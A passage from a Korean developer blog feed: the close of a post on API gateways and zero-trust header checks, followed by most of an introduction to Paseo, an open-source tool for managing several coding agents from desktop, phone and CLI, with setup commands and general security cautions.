&lt;p&gt;&lt;strong&gt;Q. 게이트웨이에서 인증하면 각 서비스는 인증을 안 해도 되나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;아니요.&lt;/strong&gt; 이게 가장 위험한 오해입니다. 게이트웨이 인증은 외부 트래픽만 막습니다. 내부망에 침투했거나 잘못 설정된 서비스가 게이트웨이를 우회해 직접 호출하면 그대로 뚫립니다. 게이트웨이에서 검증한 사용자 정보를 서명된 헤더로 내려보내고, &lt;strong&gt;각 서비스는 그 헤더를 최소한 검증&lt;/strong&gt;하는 구성이 안전합니다. 제로 트러스트의 기본입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;p&gt;API 게이트웨이는 결국 하나의 문장으로 요약됩니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;공통 관심사를 서비스 밖으로 꺼내 한 곳에 모으는 장치.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;단일 진입점 — 클라이언트는 주소 하나만 알면 됩니다&lt;/li&gt;
&lt;li&gt;인증·인가를 한 곳에서, 레이트 리밋으로 폭주 차단&lt;/li&gt;
&lt;li&gt;경로 기반 라우팅과 API 버전 관리&lt;/li&gt;
&lt;li&gt;캐시·응답 집계로 왕복과 지연 단축&lt;/li&gt;
&lt;li&gt;로깅·트레이싱 표준화&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;다만 &lt;strong&gt;서비스가 몇 개 안 되거나 이중화 여력이 없다면 서두를 이유가 없습니다.&lt;/strong&gt; 게이트웨이는 서비스가 늘어나면서 중복이 실제로 아파질 때 도입해도 늦지 않습니다.&lt;/p&gt;
&lt;p&gt;여러분은 어떤 게이트웨이를 쓰고 계신가요? Spring Cloud Gateway, Kong, 아니면 관리형 서비스인가요? 도입하면서 겪은 시행착오가 있다면 댓글로 공유해 주세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;참고 자료&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.spring.io/spring-cloud-gateway/reference/&quot;&gt;Spring Cloud Gateway 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.konghq.com/gateway/&quot;&gt;Kong Gateway 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://doc.traefik.io/traefik/&quot;&gt;Traefik 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Paseo란? 휴대폰에서 Claude Code와 Codex를 함께 쓰는 방법]]></title><description><![CDATA[안녕하세요. 자바파커입니다. 요즘 개발 환경에는 AI 코딩 도구가 하나씩 늘어나고 있습니다. 복잡한 설계는 Claude Code에 물어보고, 구현은 Codex에 맡기고, 다른 작업은 Cursor나 OpenCode…]]></description><link>https://blog.javapark.kr/paseo-coding-agent-orchestration/</link><guid isPermaLink="false">https://blog.javapark.kr/paseo-coding-agent-orchestration/</guid><pubDate>Sat, 08 Aug 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/1fc376a95f87431b2a775af5c437838c/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACSklEQVR42k1SSU/bQBS21Kr2zHg8sUkcgmM7iZfE2UlMguMAdpoom6CUQiGlUGjZJaRKLEU9teLQVr2hnnrv/+yk6gHpafTeSJ++5T2Gi1rYWIrkxyQ3JM6AOCOke1zU5GI2F89DvYXsEV+e4IUz4t9GOveR3g8SfhVa17h+zLBSBrhn4tpvMngQRw/q5I/UPGFFnZOzYLYIdR9lx3x5V2hcCEufI72f4ugX6X4j7U/YPWXYmP1y8mF77/jF1v5w/Q0vm0+IzkbtKbnsALWJ7CFfmjIL/i3p3JPudxJ+EVpXuH7EUHnheHJ4fnN0effu7DrpeKJWkfQqTM7DZA0ZIbIHqLCBa4dC81Lwb4T2neBf48YFX9ljnkpGvtFv93dq7bVw/Laztj/afN/fPMaNA8k/nQk+CpUtaPb50jaeP6BS8cI5dk/46j4qbDI0Fdn01EKgFAK1FKqF5US2peR8JeclrCYn5zjFhekA2kOU3+BLO9QCX9xG+XVoDxiQqPIpP2J1sLFC6JtpY80lWh0lClgpRtQKmivzWlMwA2R2oTWgEUCrD43nNEuGU+pSbZLpXYm1XS28jLm7cWfFcIdiuiHbnjHfm0m7UaOpFgOkNYC6CDUPaItAcUGixAA6pJZAKgDpDsyEMLUM9BZILoC5Kis7z2ZMNmpNd06LWog71CZLm1iW/jAUyVs94oz57JgGA40uoHjVA0qd7vk/7FHBeI5P5NGs8w+cXpGKq/H6a1J8BbOr1NWUn5L/E0ZP5TGSqqBIUa+SZJmOfwHY9W8/Jpoj/AAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/1fc376a95f87431b2a775af5c437838c/a1b3b/thumbnail.webp 215w,
/static/1fc376a95f87431b2a775af5c437838c/fc700/thumbnail.webp 430w,
/static/1fc376a95f87431b2a775af5c437838c/521f7/thumbnail.webp 860w,
/static/1fc376a95f87431b2a775af5c437838c/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/1fc376a95f87431b2a775af5c437838c/f7886/thumbnail.png 215w,
/static/1fc376a95f87431b2a775af5c437838c/bc750/thumbnail.png 430w,
/static/1fc376a95f87431b2a775af5c437838c/3e3fe/thumbnail.png 860w,
/static/1fc376a95f87431b2a775af5c437838c/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/1fc376a95f87431b2a775af5c437838c/3e3fe/thumbnail.png&apos; alt=&apos;Paseo로 여러 AI 코딩 에이전트를 데스크톱과 휴대폰에서 통합 관리하는 모습&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;Paseo로 여러 AI 코딩 에이전트를 데스크톱과 휴대폰에서 통합 관리하는 모습&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;요즘 개발 환경에는 AI 코딩 도구가 하나씩 늘어나고 있습니다. 복잡한 설계는 Claude Code에 물어보고, 구현은 Codex에 맡기고, 다른 작업은 Cursor나 OpenCode에서 처리하기도 합니다.&lt;/p&gt;
&lt;p&gt;문제는 도구가 늘어날수록 작업 창도 늘어난다는 점입니다. 에이전트마다 터미널과 세션이 따로 있고, 여러 작업을 동시에 실행하면 어느 에이전트가 어떤 브랜치를 수정하는지 따라가기도 쉽지 않습니다. 잠깐 자리를 비운 동안 작업이 멈췄는지 확인하려면 다시 컴퓨터 앞에 앉아야 하고요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Paseo&lt;/strong&gt;는 이 문제를 해결하려는 오픈소스 코딩 에이전트 오케스트레이션 도구입니다.&lt;/p&gt;
&lt;p&gt;결론부터 말하면 Paseo는 새로운 AI 모델이나 코딩 에이전트가 아닙니다. 이미 사용 중인 Claude Code, Codex, Cursor 같은 에이전트를 내 컴퓨터에서 실행하고, &lt;strong&gt;데스크톱·웹·휴대폰·CLI라는 하나의 인터페이스에서 관리하는 제어판&lt;/strong&gt;에 가깝습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Paseo는 무엇인가&lt;/h2&gt;
&lt;p&gt;Paseo는 로컬 컴퓨터나 개발 서버에서 AI 코딩 에이전트를 실행하고 관리하는 오픈소스 애플리케이션입니다. 공식 저장소는 AGPL-3.0 라이선스로 공개되어 있습니다.&lt;/p&gt;
&lt;p&gt;2026년 8월 공식 지원 페이지 기준으로 39개의 코딩 에이전트를 지원하며, 대표적으로 다음 도구를 연결할 수 있습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Claude Code&lt;/li&gt;
&lt;li&gt;OpenAI Codex&lt;/li&gt;
&lt;li&gt;Cursor&lt;/li&gt;
&lt;li&gt;GitHub Copilot&lt;/li&gt;
&lt;li&gt;OpenCode&lt;/li&gt;
&lt;li&gt;Gemini CLI&lt;/li&gt;
&lt;li&gt;Cline&lt;/li&gt;
&lt;li&gt;Kilo Code&lt;/li&gt;
&lt;li&gt;Qwen Code&lt;/li&gt;
&lt;li&gt;Kimi Code CLI&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;여기서 중요한 점이 하나 있습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Paseo가 Claude Code나 Codex 사용 권한을 대신 제공하는 것은 아닙니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;사용하려는 에이전트의 CLI를 먼저 설치하고 각 서비스에 인증해야 합니다. Paseo는 기존 CLI와 계정, 설정, MCP 서버, 스킬을 그대로 사용해 프로세스와 세션을 관리합니다. 따라서 Paseo를 설치했다고 유료 모델을 무료로 사용할 수 있는 것은 아닙니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구분&lt;/th&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Claude Code, Codex 등&lt;/td&gt;
&lt;td&gt;코드를 읽고 수정하는 실제 에이전트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Paseo daemon&lt;/td&gt;
&lt;td&gt;에이전트 프로세스, 세션, 워크스페이스 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;데스크톱·모바일·웹·CLI&lt;/td&gt;
&lt;td&gt;daemon에 접속하는 사용자 인터페이스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Relay 또는 Tailscale&lt;/td&gt;
&lt;td&gt;외부 기기에서 개발 머신으로 연결하는 통로&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이 구조 덕분에 코드는 Paseo의 클라우드 작업 공간이 아니라 &lt;strong&gt;내 컴퓨터 또는 내가 운영하는 서버&lt;/strong&gt;에서 처리됩니다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/paseo-architecture.svg&quot; alt=&quot;Paseo의 로컬 daemon이 데스크톱·웹·모바일 클라이언트와 여러 코딩 에이전트를 연결하는 구조&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Paseo에서는 중앙의 로컬 daemon이 클라이언트와 코딩 에이전트 사이의 세션과 프로세스를 관리합니다.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 Paseo가 필요한가&lt;/h2&gt;
&lt;h3&gt;1. 여러 에이전트를 한곳에서 관리한다&lt;/h3&gt;
&lt;p&gt;Paseo의 가장 눈에 띄는 기능은 멀티 프로바이더 지원입니다.&lt;/p&gt;
&lt;p&gt;한 프로젝트에서 Claude Code 세션과 Codex 세션을 함께 열고, 각 에이전트의 진행 상황을 같은 화면에서 볼 수 있습니다. 하나의 모델에 모든 일을 맡기기보다 작업 특성에 맞춰 도구를 나눠 쓰는 개발자에게 유용한 구조입니다.&lt;/p&gt;
&lt;p&gt;예를 들면 이런 흐름을 만들 수 있습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Claude Code에 요구사항 분석과 구현 계획을 맡깁니다.&lt;/li&gt;
&lt;li&gt;Codex가 별도 워크트리에서 기능을 구현합니다.&lt;/li&gt;
&lt;li&gt;다른 에이전트가 변경 사항과 테스트 결과를 검토합니다.&lt;/li&gt;
&lt;li&gt;개발자는 휴대폰에서 진행 상황과 diff를 확인합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Paseo의 오케스트레이션 기능을 활성화하면 한 에이전트가 다른 프로바이더의 에이전트를 실행하는 구성도 가능합니다. 같은 제품 안에서만 동작하는 기본 서브에이전트와 달리, Claude Code가 Codex에 작업을 넘기는 식의 &lt;strong&gt;교차 프로바이더 위임&lt;/strong&gt;을 만들 수 있다는 점이 특징입니다.&lt;/p&gt;
&lt;h3&gt;2. 휴대폰에서 작업을 시작하고 이어간다&lt;/h3&gt;
&lt;p&gt;Paseo daemon은 개발 머신에서 계속 실행되고, 휴대폰 앱은 그 daemon에 연결됩니다. 따라서 이동 중에도 새 작업을 지시하거나 진행 중인 대화를 확인하고 후속 요청을 보낼 수 있습니다.&lt;/p&gt;
&lt;p&gt;예를 들어 외출 전에 테스트를 실행해 두고, 휴대폰에서 실패 로그를 확인한 뒤 다음과 같이 지시할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;실패한 테스트의 원인을 확인하고 수정해 주세요.
기존 API 시그니처는 변경하지 말고, 수정 후 관련 테스트만 다시 실행하세요.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;다만 이것은 코딩 에이전트가 휴대폰에서 실행된다는 뜻이 아닙니다. 실제 작업은 계속 개발 머신에서 일어납니다. 컴퓨터가 꺼지거나 daemon이 중지되면 휴대폰에서도 작업을 진행할 수 없습니다.&lt;/p&gt;
&lt;h3&gt;3. Git worktree로 병렬 작업을 격리한다&lt;/h3&gt;
&lt;p&gt;여러 에이전트가 같은 저장소를 동시에 수정하면 충돌이 발생하기 쉽습니다. Paseo는 Git worktree 기반 워크스페이스를 만들어 에이전트마다 별도 디렉터리와 브랜치를 사용할 수 있게 합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;main 저장소
├── feature-auth 워크트리   → Codex
├── fix-payment 워크트리    → Claude Code
└── update-docs 워크트리    → Gemini CLI&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;각 에이전트가 같은 파일을 직접 덮어쓰지 않으므로 병렬 작업을 비교적 안전하게 분리할 수 있습니다. 작업이 끝나면 기준 브랜치와 diff를 검토한 뒤 병합하거나 워크스페이스를 보관 처리할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/paseo-worktree-parallel.svg&quot; alt=&quot;하나의 저장소에서 세 개의 Git worktree로 작업을 분리하고 검토 후 병합하는 흐름&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;각 에이전트는 격리된 worktree에서 작업하고, 변경 사항은 검토 단계를 거쳐 기준 브랜치에 병합합니다.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;저장소 루트에 &lt;code class=&quot;language-text&quot;&gt;paseo.json&lt;/code&gt;을 두면 워크트리를 만든 직후 실행할 설치 명령과 테스트·개발 서버 같은 스크립트도 정의할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;worktree&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;setup&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;npm ci&quot;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;scripts&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;test&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;npm test&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;lint&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;npm run lint&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;web&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;npm run dev -- --port $PASEO_PORT&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;service&quot;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;워크트리를 생성할 때마다 의존성을 설치하고, 앱에서 테스트나 개발 서버를 실행하는 흐름을 표준화할 수 있는 셈입니다.&lt;/p&gt;
&lt;h3&gt;4. 음성, 스케줄, 반복 작업으로 확장할 수 있다&lt;/h3&gt;
&lt;p&gt;Paseo는 텍스트 채팅 외에 음성 입력을 지원합니다. 키보드 앞에 앉아 있지 않아도 문제를 설명하거나 다음 작업을 지시할 수 있습니다.&lt;/p&gt;
&lt;p&gt;또한 일정에 따라 독립 작업을 시작하는 스케줄과, 같은 세션을 주기적으로 다시 깨우는 heartbeat 기능을 제공합니다. CI가 통과할 때까지 일정 간격으로 상태를 확인하거나, 장시간 실행되는 리팩터링을 계속 점검하는 용도로 활용할 수 있습니다.&lt;/p&gt;
&lt;p&gt;자동화 수준이 높아질수록 편리하지만, 에이전트가 가진 파일·터미널·네트워크 권한도 함께 커진다는 점은 기억해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;설치 방법&lt;/h2&gt;
&lt;h3&gt;가장 쉬운 방법: 데스크톱 앱&lt;/h3&gt;
&lt;p&gt;처음 사용한다면 공식 다운로드 페이지에서 데스크톱 앱을 설치하는 방법이 가장 간단합니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Claude Code나 Codex 등 사용할 에이전트 CLI를 먼저 설치하고 로그인합니다.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://paseo.sh/download&quot;&gt;Paseo 다운로드 페이지&lt;/a&gt;에서 운영체제에 맞는 앱을 설치합니다.&lt;/li&gt;
&lt;li&gt;Paseo를 실행하고 프로젝트 폴더를 워크스페이스로 추가합니다.&lt;/li&gt;
&lt;li&gt;사용할 프로바이더와 모델을 선택해 첫 에이전트를 실행합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;데스크톱 앱에는 daemon이 포함되어 있어 별도 서버 설치 없이 자동으로 시작됩니다.&lt;/p&gt;
&lt;h3&gt;CLI로 실행하기&lt;/h3&gt;
&lt;p&gt;GUI가 없는 개발 서버나 원격 머신에서는 CLI를 설치할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-g&lt;/span&gt; @getpaseo/cli
paseo&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;실행 중인 에이전트를 확인하고 후속 요청을 보내는 기본 명령은 다음과 같습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;paseo &lt;span class=&quot;token function&quot;&gt;ls&lt;/span&gt;
paseo attach &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;agent-id&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
paseo send &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;agent-id&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;관련 테스트도 추가해 주세요&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;에이전트를 실행할 때 프로바이더나 워크트리를 지정할 수도 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;paseo run &lt;span class=&quot;token parameter variable&quot;&gt;--provider&lt;/span&gt; codex/&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;model-id&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--worktree&lt;/span&gt; feature-auth &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token string&quot;&gt;&quot;로그인 기능을 구현하고 테스트를 실행해 주세요&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;모델 ID와 세부 옵션은 버전에 따라 바뀔 수 있으므로 실제 사용 시에는 &lt;code class=&quot;language-text&quot;&gt;paseo --help&lt;/code&gt;와 공식 CLI 문서를 확인하는 편이 안전합니다.&lt;/p&gt;
&lt;h3&gt;휴대폰 연결하기&lt;/h3&gt;
&lt;p&gt;Paseo Desktop에서 &lt;strong&gt;Settings → Host → Pair a device&lt;/strong&gt;로 이동해 Relay를 활성화한 뒤 QR 코드를 휴대폰 앱으로 스캔하면 됩니다.&lt;/p&gt;
&lt;p&gt;공식 Relay는 포트 포워딩 없이 연결할 수 있고 트래픽에 종단 간 암호화를 적용합니다. Relay를 사용하지 않으려면 Tailscale 같은 VPN을 통해 daemon에 직접 연결하는 방식도 선택할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;보안에서 꼭 확인할 점&lt;/h2&gt;
&lt;p&gt;Paseo는 로컬 우선 도구이지만, 설치만으로 모든 보안 문제가 해결되는 것은 아닙니다. 오히려 코딩 에이전트는 소스 코드와 셸, 로컬 자격 증명에 접근할 수 있으므로 일반 채팅 앱보다 더 조심해야 합니다.&lt;/p&gt;
&lt;h3&gt;daemon을 인증 없이 외부에 노출하지 않는다&lt;/h3&gt;
&lt;p&gt;기본적으로 daemon의 주소에 접근할 수 있는 클라이언트는 연결을 시도할 수 있습니다. &lt;code class=&quot;language-text&quot;&gt;localhost&lt;/code&gt;에서만 쓸 때는 접근 범위가 제한되지만, LAN 주소나 &lt;code class=&quot;language-text&quot;&gt;0.0.0.0&lt;/code&gt;에 바인딩하면 이야기가 달라집니다.&lt;/p&gt;
&lt;p&gt;공식 보안 문서에서는 네트워크에 daemon을 공개할 때 비밀번호를 설정하고, 신뢰할 수 없는 네트워크에서는 Relay나 VPN을 사용하도록 권장합니다. 비밀번호 인증은 접근을 통제할 뿐 트래픽 자체를 암호화하지 않으므로, 인터넷에 포트만 직접 개방하는 방식은 피하는 편이 좋습니다.&lt;/p&gt;
&lt;h3&gt;QR 코드를 비밀번호처럼 다룬다&lt;/h3&gt;
&lt;p&gt;기기 연결에 사용하는 QR 코드나 페어링 링크를 획득한 사람은 daemon 연결을 시도할 수 있습니다. 화면 캡처를 공개 채널에 올리거나 장기간 보관하지 않는 것이 좋습니다.&lt;/p&gt;
&lt;h3&gt;에이전트의 권한은 Paseo보다 아래 계층에서 결정된다&lt;/h3&gt;
&lt;p&gt;Paseo는 프로바이더의 API 키를 대신 관리하지 않습니다. Claude Code, Codex 같은 CLI가 현재 사용자 권한과 기존 인증 정보를 사용해 실행됩니다.&lt;/p&gt;
&lt;p&gt;따라서 중요한 것은 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;에이전트별 승인·샌드박스 설정 확인&lt;/li&gt;
&lt;li&gt;운영 서버와 개발 환경 분리&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;.env&lt;/code&gt;, SSH 키, 클라우드 자격 증명 접근 최소화&lt;/li&gt;
&lt;li&gt;Docker 사용 시 필요한 저장소만 마운트&lt;/li&gt;
&lt;li&gt;중요한 변경은 자동 병합하지 않고 사람이 diff 검토&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Paseo의 중앙 화면은 작업을 보기 쉽게 해주지만, 에이전트가 실행할 수 있는 명령을 자동으로 안전하게 바꿔주지는 않습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;장점과 한계&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;장점&lt;/th&gt;
&lt;th&gt;한계&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;여러 코딩 에이전트를 같은 UI에서 관리&lt;/td&gt;
&lt;td&gt;각 에이전트 CLI와 계정은 별도로 준비해야 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;데스크톱, 모바일, 웹, CLI 지원&lt;/td&gt;
&lt;td&gt;개발 머신과 daemon이 계속 실행 중이어야 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;코드와 작업 환경이 로컬 머신에 유지&lt;/td&gt;
&lt;td&gt;원격 연결과 권한 설정을 잘못하면 보안 위험이 커짐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Git worktree 기반 병렬 작업&lt;/td&gt;
&lt;td&gt;여러 에이전트를 돌리면 비용과 검토량도 함께 증가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;교차 프로바이더 오케스트레이션&lt;/td&gt;
&lt;td&gt;에이전트마다 기능과 동작 방식이 달라 완전히 동일한 경험은 아님&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;오픈소스이며 직접 호스팅 가능&lt;/td&gt;
&lt;td&gt;아직 빠르게 변하는 프로젝트라 문서와 옵션이 자주 바뀔 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Paseo가 특히 잘 맞는 사람은 이미 둘 이상의 코딩 에이전트를 사용하고, 여러 저장소나 브랜치의 작업을 동시에 관리하는 개발자입니다. 홈 서버나 항상 켜진 개발 머신이 있고, 이동 중에도 에이전트 상태를 확인하고 싶다면 장점이 더 커집니다.&lt;/p&gt;
&lt;p&gt;반대로 AI 코딩 도구 하나를 가끔 사용하는 정도라면 기존 터미널이나 공식 앱만으로도 충분할 수 있습니다. Paseo 자체를 관리하고 보안을 설정하는 비용이 추가되기 때문입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Paseo를 처음 쓸 때 추천하는 흐름&lt;/h2&gt;
&lt;p&gt;처음부터 여러 에이전트와 자동 스케줄을 한꺼번에 켜기보다 작은 범위부터 확인하는 것이 좋습니다.&lt;/p&gt;
&lt;ol&gt;
